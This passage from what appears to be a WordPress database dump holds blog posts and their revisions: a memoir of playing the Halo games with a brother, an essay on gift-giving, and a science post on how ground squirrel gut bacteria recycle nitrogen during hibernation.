he accused me of only wanting it because of the hype, I was ready. “Actually, Dad,” I said, “not only will Halo 2 be much larger than Halo 1 with a much broader arsenal of weapons, vehicles, and enemies, but players will also be able to dual wield weapons, providing them with greater strategic options than ever before. Also, we will be able to fight in space.” My Dad was sufficiently impressed to buy me a copy on release day: November 9, 2004, a date I still remember.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I know I played through&nbsp;<em>Halo 2&nbsp;</em>with Justin as well, but I actually don’t remember the story that well. What I remember more than anything was the online multiplayer.&nbsp;<em>Halo 2</em>&nbsp;was the first game I ever played with strangers online through Xbox Live. Later on, Xbox Live would become infamous as a place where you could hear a 10 year old call you a racial slur, but, back then, it was friendlier. I spent hours upon hours playing with strangers, talking on the headset, making casual friends, fielding questions about why our gamertag was “enemyconnected” (it was from Xbox’s random name generator and, yes, it did suggest that I was actively a traitor to whatever team I was part of).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Halo 2</em>&nbsp;was my obsession until&nbsp;<em>Halo 3</em>&nbsp;came out in another 3 years. By this point I was 14 and Justin was just about 17. He was busy enough with girls, sports, and preparing to go to college that it was a struggle to get him to sit down long enough to play through the campaign with me. We did eventually save the galaxy together, but that was the last videogame I ever played through with Justin. It was me and my friends from there on out, although I’d soon lose their interest to&nbsp;<em>Call of Duty 4</em>. Then I started playing&nbsp;<em>Call of Duty 4</em>, too, and that was all any of us really wanted to play, and both&nbsp;<em>Halo 2</em>&nbsp;and&nbsp;<em>Halo 3&nbsp;</em>were left to sit in their cases.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I hadn’t planned to play&nbsp;<em>Halo 3: Reach</em>. It came out my junior year of high school. I didn’t play&nbsp;<em>Halo</em>&nbsp;any more. All of the games I’d play with my friends were gritty and “realistic” or else just&nbsp;<em>Smash Bros.</em>&nbsp;But my friend Dan had a copy, and he came by one day on a Friday after school. We both had our licenses by this point so the ability for us to hang out without parental transportation logistics was already pretty novel. He convinced me to go on a nostalgia trip (it was already a vice of mine back then).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We pulled an all-nighter that night. According to the Internet, the main campaign takes 8.5 hours to complete, so, assuming he came over at like 4 pm, we must have played straight through until 2 am, accounting for breaks. Needless to say, this whole night is a blur for me now. I only have the vaguest recollections of the story, and also that Dan insisted we play through the campaign on Heroic, the second hardest difficulty. He would have preferred Legendary, the hardest, but I persuaded him down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then&nbsp;<em>Halo</em>&nbsp;mostly disappeared from my life.&nbsp;<em>Halo 4</em>&nbsp;came out when I was in college, and I remember playing a bit of it when I was bored one afternoon and then dropping it.&nbsp;<em>Halo 5&nbsp;</em>came out right after I graduated, but that one I only saw a friend play a couple times.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I did try playing through the campaigns again on my own, recently. Microsoft came out with the “Master Chief collection”, a collection of the original games, remastered for their latest hardware. I started with&nbsp;<em>Halo 1</em>, escaped the exploding&nbsp;<em>Pillar of Autumn</em>, explored the Ringworld, rescued Captain Keyes, and then, once again, found myself faced with the unenviable position of fighting the Flood in all their disgusting, squelching, swarming glory. And…I couldn’t. It was bad enough facing the Flood at age 8 with my brother by my side, but to face them alone at age 29? I lacked the courage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, instead, I quit playing Halo and decided to play a different game. I had already saved the world once. It wouldn’t be the same saving it again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/my-life-through-halo#footnote-anchor-1-138924422\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My older brothers also played&nbsp;<em>Street Fighter</em>&nbsp;at our neighbor’s house, but I wasn’t allowed to play.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/my-life-through-halo#footnote-anchor-2-138924422\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Don’t I mean Hanukkah? Nope! Not only are my parents mixed faith, but, in proud Reform tradition, my mother had grown up celebrating Christmas anyways. That aggressively secular German Jewishness is largely gone from the world now. I think it was always kind of a self-defeating sort of “faith” anyways.</p>\n<!-- /wp:paragraph -->','My life through Halo','','inherit','closed','closed','','421-revision-v1','','','2024-06-12 16:08:56','2024-06-12 16:08:56','',421,'https://trevorklee.com/?p=422',0,'revision','',0),
(423,1,'2024-06-12 16:09:55','2024-06-12 16:09:55','<!-- wp:paragraph -->\n<p>Gift-giving, to me, has always seemed like sailing between Scylla and Charybdis. You can try to give a gift that’s incredibly personalized, and risk guessing incorrectly, like when my aunt gave me a hermit crab habitat for my birthday even though I didn’t own (and had no plans to own) a hermit crab. Or you try to give a blandly inoffensive gift and risk seeming impersonal, like when my dad bought every single member of the family a Flip video camera including himself and then he was the only one that used it, leaving him with 4 backup video cameras.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I was younger, I steered more towards Scylla. I’d give very personalized gifts. I’d give my twin brothers the exact videogames for their birthday that I wanted to play. Then, once they’d open the gift, I’d suggest we play the game together. I thought this was a great strategy, until my brothers started recognizing the pattern and would ban me from playing their gifts. Scylla became too fearsome.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, then I steered more towards Charybdis. The day before Christmas or a birthday, I’d head to Borders bookstore (or, once that closed, Books-a-million). I’d go to the bestselling books table, pick up whichever book got good reviews, and ask the cashier to wrap it. Easy! This strategy worked great for me until I got a girlfriend who expressly forbade me from using it. She told me that I needed to buy her something that showed I actually knew her.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was a problem. Scylla and Charibdis, meet the Isle of Lotus-Eating. I was pretty sure I knew my girlfriend. We had been dating for a bit, and had lots of conversations and such. Just I wasn’t sure if she had ever actually told me what she wanted as a gift. She had mentioned that she had trouble focusing on her schoolwork, but Adderall seemed inappropriate. And, despite the mess in her room, a vacuum cleaner seemed downright offensive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After agonizing for a while, I finally asked her: “So, uh…I swear I know you and know exactly what you want. But, in case I didn’t, what would you want?”<br><br>“Oh,” she said. “There’s this coat by Vince at Nordstrom Rack that I’ve had my eye on for a year now. That’s pretty much the only thing I want.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I thought for a second, and said, “Can you point it out to me and we can buy it together before someone else buys it?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>She agreed and that’s what we did. And that was her Christmas present, and she enjoyed it immensely. Later on, we broke up, for reasons entirely unrelated to gift-giving. But, on that day, I learned something about giving: it’s not about buying the perfect gift for someone. It’s about buying the gift that someone thinks is perfect for them. And the easiest way to do that is just to ask.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, you know, not buy people gifts at all, and just take them out to dinner for their birthday/Christmas, which is my preferred strategy nowadays. It’s way less stress.</p>\n<!-- /wp:paragraph -->','I have no gift for gift-giving','','publish','closed','closed','','i-have-no-gift-for-gift-giving','','','2024-06-12 16:09:55','2024-06-12 16:09:55','',0,'https://trevorklee.com/?page_id=423',0,'page','',0),
(424,1,'2024-06-12 16:09:55','2024-06-12 16:09:55','<!-- wp:paragraph -->\n<p>Gift-giving, to me, has always seemed like sailing between Scylla and Charybdis. You can try to give a gift that’s incredibly personalized, and risk guessing incorrectly, like when my aunt gave me a hermit crab habitat for my birthday even though I didn’t own (and had no plans to own) a hermit crab. Or you try to give a blandly inoffensive gift and risk seeming impersonal, like when my dad bought every single member of the family a Flip video camera including himself and then he was the only one that used it, leaving him with 4 backup video cameras.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When I was younger, I steered more towards Scylla. I’d give very personalized gifts. I’d give my twin brothers the exact videogames for their birthday that I wanted to play. Then, once they’d open the gift, I’d suggest we play the game together. I thought this was a great strategy, until my brothers started recognizing the pattern and would ban me from playing their gifts. Scylla became too fearsome.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, then I steered more towards Charybdis. The day before Christmas or a birthday, I’d head to Borders bookstore (or, once that closed, Books-a-million). I’d go to the bestselling books table, pick up whichever book got good reviews, and ask the cashier to wrap it. Easy! This strategy worked great for me until I got a girlfriend who expressly forbade me from using it. She told me that I needed to buy her something that showed I actually knew her.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was a problem. Scylla and Charibdis, meet the Isle of Lotus-Eating. I was pretty sure I knew my girlfriend. We had been dating for a bit, and had lots of conversations and such. Just I wasn’t sure if she had ever actually told me what she wanted as a gift. She had mentioned that she had trouble focusing on her schoolwork, but Adderall seemed inappropriate. And, despite the mess in her room, a vacuum cleaner seemed downright offensive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After agonizing for a while, I finally asked her: “So, uh…I swear I know you and know exactly what you want. But, in case I didn’t, what would you want?”<br><br>“Oh,” she said. “There’s this coat by Vince at Nordstrom Rack that I’ve had my eye on for a year now. That’s pretty much the only thing I want.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I thought for a second, and said, “Can you point it out to me and we can buy it together before someone else buys it?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>She agreed and that’s what we did. And that was her Christmas present, and she enjoyed it immensely. Later on, we broke up, for reasons entirely unrelated to gift-giving. But, on that day, I learned something about giving: it’s not about buying the perfect gift for someone. It’s about buying the gift that someone thinks is perfect for them. And the easiest way to do that is just to ask.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, you know, not buy people gifts at all, and just take them out to dinner for their birthday/Christmas, which is my preferred strategy nowadays. It’s way less stress.</p>\n<!-- /wp:paragraph -->','I have no gift for gift-giving','','inherit','closed','closed','','423-revision-v1','','','2024-06-12 16:09:55','2024-06-12 16:09:55','',423,'https://trevorklee.com/?p=424',0,'revision','',0),
(425,1,'2024-06-12 16:11:07','2024-06-12 16:11:07','<!-- wp:paragraph -->\n<p>I generally think the microbiome has been overblown. It’s an incredibly appealing target for modern-day drug hunters: millions of species hiding within our guts! Nobody knows which one is the best or what they do! They can all interact with each other! Let’s screen a thousand people, get the genomes of a million bacteria, functionally screen all of them and their interactions, and test them all in high tech “organs on chips”! It’s like the modern day version of exploring the deepest recesses of the rainforest for drugs, but, instead of being brave explorers in the Amazon, we’re whitecoats in Cambridge looking at strangers’ poop!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, when you actually look into it, the microbiome, in humans, really doesn’t seem to do a whole lot beneficial besides prevent worse bacteria from taking up residence and do a bit of digestion for us<a href=\"https://trevorklee.substack.com/p/ground-squirrel-microbiomes-are-neat#footnote-1-139798506\">1</a>. Everything else that people have spent hundreds of millions of dollars modulating the microbiome to try to accomplish, like curing&nbsp;<a href=\"https://www.serestherapeutics.com/our-programs/\">ulcerative colitis</a>,&nbsp;<a href=\"https://www.fiercebiotech.com/biotech/vedanta-ceo-blames-challenging-environment-biotech-laying-20-staff\">cancer</a>,&nbsp;<a href=\"https://www.bostonglobe.com/2023/02/01/business/evelo-biosciences-sheds-48-employees-after-skin-disease-treatment-fails/#:~:text=Shamira%20Shariffudin%2C%20director%20of%20business,it%20went%20public%20in%202018.\">atopic dermatitis</a>,&nbsp;<a href=\"https://www.fiercebiotech.com/biotech/kaleido-a-flagship-microbiome-startup-lays-off-staff-cash-runway-shrinking-report\">COPD</a>, and even&nbsp;<a href=\"https://www.fiercebiotech.com/biotech/finch-pinches-pennies-stretching-cash-2025-after-layoffs-and-trial-discontinuation\">autism</a>, has failed.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F59203b5a-2b04-4a5e-b612-89e41ca9b6e1_1546x522.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F59203b5a-2b04-4a5e-b612-89e41ca9b6e1_1546x522.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">From Flagship Pioneering’s website, a VC/company creation firm best known as the makers of Moderna. Of these 4 companies listed, Evelo and Kaleido shut down, Indigo transitioned to a carbon credit company, and Seres, which IPO’d at $50/share, is now at $1/share. You think Flagship would give up on the microbiome, but hope springs eternal. I appreciate that this page is still up on their website, though.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>“What about short chain fatty acids?” I hear you cry. “Surely we need the bacteria in our gut to provide us with short chain fatty acids?” I mean, I guess. Or we can just get them directly from&nbsp;<a href=\"https://www.sciencedirect.com/topics/pharmacology-toxicology-and-pharmaceutical-science/butyrate#:~:text=3%20Butyrate,found%20in%20butter%20and%20cheese.\">milk or butter</a>. Anyways, it seems a little disappointing that we go from “genetically engineering the microbiome to cure Alzheimer’s” to “if you eat fiber, it will make your bowel movements more regular and maybe also lower cholesterol”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve gotten so down on the microbiome in humans that I forget that the microbiome in other animals can be really cool. We’ve long known about the fact that ruminants like cows and sheep can&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6546327/\">only digest cellulose because of the bacteria in their creatively named rumen</a>. Now, this is cool enough already (I mean, it’s a mammal forming a symbiotic relationship with bacteria to unlock an entirely new food source), but now we can add another cool microbiome to the list.<br><br>Enter the thirteen-lined ground squirrel, a squirrel that lives on the ground and has 13 lines on its back (guess where its name comes from). These ground squirrels live all across the prairies and grasslands of middle North America, from Texas up through the middle of Alberta. During the bitterly cold North American winter, they hibernate in the ground.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a difficult thing to do. Although ground squirrels can and do put on a lot of fat in the summer, they are still small creatures with a large surface area:volume ratio (because of&nbsp;<a href=\"https://en.wikipedia.org/wiki/Square%E2%80%93cube_law\">the square:cube law</a>) who have to spend 6 months in close contact with frozen ground, not eating, barely moving, barely breathing (one breath per 5 minutes), not drinking, and&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6759396/\">barely peeing</a>. Then, when it comes springtime again, they have to hop right back into doing ground squirrel things.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the hardest parts about this hibernating ground squirrel lifestyle, besides just keeping enough energy and water to survive the 6 month winter, is maintaining muscle mass. I mean, think of what people look like when they’re in the hospital on bed rest even for a month. They are generally weak and unable to move very well. Ground squirrels are on bed rest for 6 months, and they can’t exit their bed rest as weaklings or else they will get immediately eaten by predators. They have to maintain muscle mass.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Muscle generally breaks down after 2-3 weeks,&nbsp;<a href=\"https://www.google.com/search?q=how+long+does+it+take+for+muscle+to+break+down&amp;sca_esv=581232494&amp;sxsrf=AM9HkKnfBbPBDIsFxv9qlapCCnxbwH4ptg%3A1699633155559&amp;source=hp&amp;ei=A1hOZaSAGfzn5NoP4ZGfyAM&amp;iflsig=AO6bgOgAAAAAZU5mEyPzaOQOucU5mwNOvT2TD2NOqJS4&amp;ved=0ahUKEwjkjejz6rmCAxX8M1kFHeHIBzkQ4dUDCAw&amp;uact=5&amp;oq=how+long+does+it+take+for+muscle+to+break+down&amp;gs_lp=Egdnd3Mtd2l6Ii5ob3cgbG9uZyBkb2VzIGl0IHRha2UgZm9yIG11c2NsZSB0byBicmVhayBkb3duMgUQABiABDIGEAAYFhgeMggQABiKBRiGAzIIEAAYigUYhgNI2StQAFj4KnAAeACQAQCYAdgBoAG8KqoBBzEyLjMyLjG4AQPIAQD4AQHCAgQQIxgnwgIHEC4YigUYJ8ICDRAuGIoFGMcBGK8BGCfCAg4QLhiKBRjHARivARiRAsICDhAuGIoFGMcBGNEDGJECwgIREC4YgAQYsQMYgwEYxwEY0QPCAgsQABiABBixAxiDAcICCxAuGIAEGLEDGIMBwgIHECMYigUYJ8ICCBAAGIoFGJECwgIKEAAYgAQYFBiHAsICBRAuGIAEwgIIEAAYigUYsQPCAggQABiABBixA8ICCBAAGBYYHhgK&amp;sclient=gws-wiz\">at least in humans</a>, so ground squirrels have to continually build new muscle even as they’re on bedrest. They especially have to build new muscle at the end of hibernation in order to get ready for spring. But, in order to do so, they need nitrogen, which makes up about&nbsp;<a href=\"https://www.google.com/search?q=what+percentage+of+protein+is+nitrogen&amp;sca_esv=581232494&amp;sxsrf=AM9HkKkBXnKbIcCzekuYx_Bt_ZZsE1zuJQ%3A1699633466507&amp;ei=OllOZavCHqeqptQPnbuR6A4&amp;ved=0ahUKEwirx5OI7LmCAxUnlYkEHZ1dBO0Q4dUDCBA&amp;uact=5&amp;oq=what+percentage+of+protein+is+nitrogen&amp;gs_lp=Egxnd3Mtd2l6LXNlcnAiJndoYXQgcGVyY2VudGFnZSBvZiBwcm90ZWluIGlzIG5pdHJvZ2VuMgQQABgeMggQABgIGB4YDzIIEAAYigUYhgMyCBAAGIoFGIYDMggQABiKBRiGA0j2GFCgBFjgF3AFeAGQAQCYAakBoAGZC6oBBDAuMTG4AQPIAQD4AQHCAgoQABhHGNYEGLADwgIGEAAYBxgewgIIEAAYCBgHGB7CAgoQABgIGAcYHhgPwgIIEAAYCBgeGA3CAggQIRigARjDBMICChAhGKABGMMEGAriAwQYACBBiAYBkAYI&amp;sclient=gws-wiz-serp\">16% of protein</a>. But, the only source of nitrogen is the nitrogen from their broken down muscles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that, at last, is where the microbiome comes in. You see, the normal nitrogen pathway in the body, in broad strokes, is amino acid -&gt; ammonia -&gt; urea -&gt; excretion via the kidneys. In hibernating ground squirrels, though,&nbsp;<a href=\"https://www.science.org/doi/full/10.1126/science.abh2950\">the urea is diverted</a><a href=\"https://trevorklee.substack.com/p/ground-squirrel-microbiomes-are-neat#footnote-2-139798506\">2</a>. After it’s produced in the liver, it’s transported via the blood to the cecum, the part of the large intestine that ruminants use to digest cellulose. There, bacteria living in the cecum of ground squirrels’ can transform the urea back to ammonia, where it can then be redistributed to the muscles.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not only does this allow ground squirrels to build muscle without having to eat any more food, but it also saves them from having to pee so often. In both humans and squirrels, one of the big reasons that we have to pee is to get rid of waste products from muscle catabolism, which this diversion tactic avoids.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, ground squirrels’ microbiome keeps them buff and prevents them from having to get up from sleep to pee. That, to me, is finally a good use for a microbiome<a href=\"https://trevorklee.substack.com/p/ground-squirrel-microbiomes-are-neat#footnote-3-139798506\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/ground-squirrel-microbiomes-are-neat#footnote-anchor-1-139798506\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And yes, I am talking about every microbiome when I say this: skin, vagina, lung, mouth. Literally every healthy human microbiome outside of the stomach just prevents worse microbiomes from taking hold, and all of them are “good” insofar as they don’t harbor bad bacteria. There’s no point in this mass screening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/ground-squirrel-microbiomes-are-neat#footnote-anchor-2-139798506\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this ground squirrel nitrogen recycling stuff is based on&nbsp;<a href=\"https://www.science.org/doi/full/10.1126/science.abh2950\">this paper</a>. One of the interesting things about this paper is how they work to put together all the evidence to actually make a persuasive case that this is happening. The trouble they faced is that they can’t actually observe the bacteria working in vivo (they can’t see inside the squirrel), and I don’t think they figured out how to get the bacteria working in vitro, either.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, they have the evidence that ground squirrels do, in fact, put on muscle mass during hibernation, and that nitrogen has to come from somewhere, and the squirrels aren’t eating anything, so it’s not coming from their food. So what do you do to prove it’s gut bacteria that are recycling the nitrogen?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, the first and most obvious thing is just to compare ground squirrels with microbiomes to ground squirrels without microbiomes. So, do the obvious thing, and carpet bomb half the squirrels’ guts with antibiotics. This is a little tricky to do without messing with the squirrels’ hibernation, but apparently they managed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, now you can compare the urea concentration in the plasma of ground squirrels with microbiomes and see that it’s way higher than the plasma of ground squirrels who have depleted microbiomes, although weirdly enough only in the summer. What else?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, try to see if the urea is actually being recycled. One way to do that is to inject the squirrels with radioactive carbon. Squirrels who perform ureolysis (the breakdown of urea to transform it into protein again) will end up using that radioactive carbon and exhale it as carbon dioxide, which can be measured. Once again, you see that squirrels with microbiomes do way more ureolysis than squirrels without.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Last, you can inject the squirrels with radioactive nitrogen and trace everywhere that the nitrogen goes. Sure enough, you find a lot more of the radioactive nitrogen in the cecum and the liver in the squirrels with microbiomes, suggesting that they’re actively recycling them (although, weirdly, not in the skeletal muscle). Depressingly, you have to kill the squirrels for this last step :(.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can probably tell by my overuse of weirdly, I think there are some major unexplained issues with the data in this paper, and I’m a little suspicious of how much you can mess with a ground squirrel without messing with its hibernation. I think the story they tell is plausible enough and their data is ok, but there are definitely some parts missing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I were to put some probabilities on all of this, here’s what I’d say:<br><br>Probability that ground squirrels recycle nitrogen during hibernation - 95%. The nitrogen for building their muscles has to come from somewhere, and the only other possibility is that ground squirrels have figured out some symbiotic relationship with fungi or bacteria to fix nitrogen,&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5156715/\">like termites apparently have</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Probability that ground squirrels use gut bacteria to recycle at least some nitrogen (assuming they do in, fact, recycle nitrogen) - 75%. The antibiotics definitely seemed to do something to the urea concentration, and ruminants, at least, can recycle nitrogen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Probability that ground squirrels use gut bacteria to recycle all nitrogen - 40%. There’s something weird going on with their data, especially with the lack of radioactive nitrogen in skeletal muscle. I think there must be some other way for ground squirrels to recycle or conserve nitrogen that’s not being accounted for here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/ground-squirrel-microbiomes-are-neat#footnote-anchor-3-139798506\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The paper that I took this from suggests in the final paragraph that this could be a treatment for sarcopenia, or muscle wasting, arguing that human beings might also have the ability to salvage urea, at least according to&nbsp;<a href=\"https://europepmc.org/article/med/1311657\">a pretty sparse paper from 1979</a>. While I appreciate the thought and the biohacking potential, I’m pretty sure sarcopenia isn’t caused by lack of nitrogen. It’s not like people on bed rest or old people lack nitrogen, it’s that their muscles waste away.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sadly, as with the butyrate example, most microbiome stuff is kind of pointless for humans that live in an era with basically unlimited food/protein. Fun food for thought, though.</p>\n<!-- /wp:paragraph -->','Ground squirrel microbiomes are neat, unlike human microbiomes','','publish','closed','closed','','ground-squirrel-microbiomes-are-neat-unlike-human-microbiomes','','','2024-06-12 16:11:07','2024-06-12 16:11:07','',0,'https://trevorklee.com/?page_id=425',0,'page','',0),
(426,1,'2024-06-12 16:11:07','2024-06-12 16:11:07','<!-- wp:paragraph -->\n<p>I generally think the microbiome has been overblown. It’s an incredibly appealing target for modern-day drug hunters: millions of species hiding within our guts! Nobody knows which one is the best or what they do! They can all interact with each other! Let’s screen a thousand people, get the genomes of a million bacteria, functionally screen all of them and their interactions, and test them all in high tech “organs on chips”! It’s like the modern day version of exploring the deepest recesses of the rainforest for drugs, but, instead of being brave explorers in the Amazon, we’re whitecoats in Cambridge looking at strangers’ poop!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, when you actually look into it, the microbiome, in humans, really doesn’t seem to do a whole lot beneficial besides prevent worse bacteria from taking up residence and do a bit of digestion for us<a href=\"https://trevorklee.substack.com/p/ground-squirrel-microbiomes-are-neat#footnote-1-139798506\">1</a>. Everything else that people have spent hundreds of millions of dollars modulating the microbiome to try to accomplish, like curing&nbsp;<a href=\"https://www.serestherapeutics.com/our-programs/\">ulcerative colitis</a>,&nbsp;<a href=\"https://www.fiercebiotech.com/biotech/vedanta-ceo-blames-challenging-environment-biotech-laying-20-staff\">cancer</a>,&nbsp;<a href=\"https://www.bostonglobe.com/2023/02/01/business/evelo-biosciences-sheds-48-employees-after-skin-disease-treatment-fails/#:~:text=Shamira%20Shariffudin%2C%20director%20of%20business,it%20went%20public%20in%202018.\">atopic dermatitis</a>,&nbsp;<a href=\"https://www.fiercebiotech.com/biotech/kaleido-a-flagship-microbiome-startup-lays-off-staff-cash-runway-shrinking-report\">COPD</a>, and even&nbsp;<a href=\"https://www.fiercebiotech.com/biotech/finch-pinches-pennies-stretching-cash-2025-after-layoffs-and-trial-discontinuation\">autism</a>, has failed.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F59203b5a-2b04-4a5e-b612-89e41ca9b6e1_1546x522.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F59203b5a-2b04-4a5e-b612-89e41ca9b6e1_1546x522.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">From Flagship Pioneering’s website, a VC/company creation firm best known as the makers of Moderna. Of these 4 companies listed, Evelo and Kaleido shut down, Indigo transitioned to a carbon credit company, and Seres, which IPO’d at $50/share, is now at $1/share. You think Flagship would give up on the microbiome, but hope springs eternal. I appreciate that this page is still up on their website, though.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>“What about short chain fatty acids?” I hear you cry. “Surely we need the bacteria in our gut to provide us with short chain fatty acids?” I mean, I guess. Or we can just get them directly from&nbsp;<a href=\"https://www.sciencedirect.com/topics/pharmacology-toxicology-and-pharmaceutical-science/butyrate#:~:text=3%20Butyrate,found%20in%20butter%20and%20cheese.\">milk or butter</a>. Anyways, it seems a little disappointing that we go from “genetically engineering the microbiome to cure Alzheimer’s” to “if you eat fiber, it will make your bowel movements more regular and maybe also lower cholesterol”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve gotten so down on the microbiome in humans that I forget that the microbiome in other animals can be really cool. We’ve long known about the fact that ruminants like cows and sheep can&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6546327/\">only digest cellulose because of the bacteria in their creatively named rumen</a>. Now, this is cool enough already (I mean, it’s a mammal forming a symbiotic relationship with bacteria to unlock an entirely new food source), but now we can add another cool microbiome to the list.<br><br>Enter the thirteen-lined ground squirrel, a squirrel that lives on the ground and has 13 lines on its back (guess where its name comes from). These ground squirrels live all across the prairies and grasslands of middle North America, from Texas up through the middle of Alberta. During the bitterly cold North American winter, they hibernate in the ground.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a difficult thing to do. Although ground squirrels can and do put on a lot of fat in the summer, they are still small creatures with a large surface area:volume ratio (because of&nbsp;<a href=\"https://en.wikipedia.org/wiki/Square%E2%80%93cube_law\">the square:cube law</a>) who have to spend 6 months in close contact with frozen ground, not eating, barely moving, barely breathing (one breath per 5 minutes), not drinking, and&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6759396/\">barely peeing</a>. Then, when it comes springtime again, they have to hop right back into doing ground squirrel things.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the hardest parts about this hibernating ground squirrel lifestyle, besides just keeping enough energy and water to survive the 6 month winter, is maintaining muscle mass. I mean, think of what people look like when they’re in the hospital on bed rest even for a month. They are generally weak and unable to move very well. Ground squirrels are on bed rest for 6 months, and they can’t exit their bed rest as weaklings or else they will get immediately eaten by predators. They have to maintain muscle mass.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Muscle generally breaks down after 2-3 weeks,&nbsp;<a 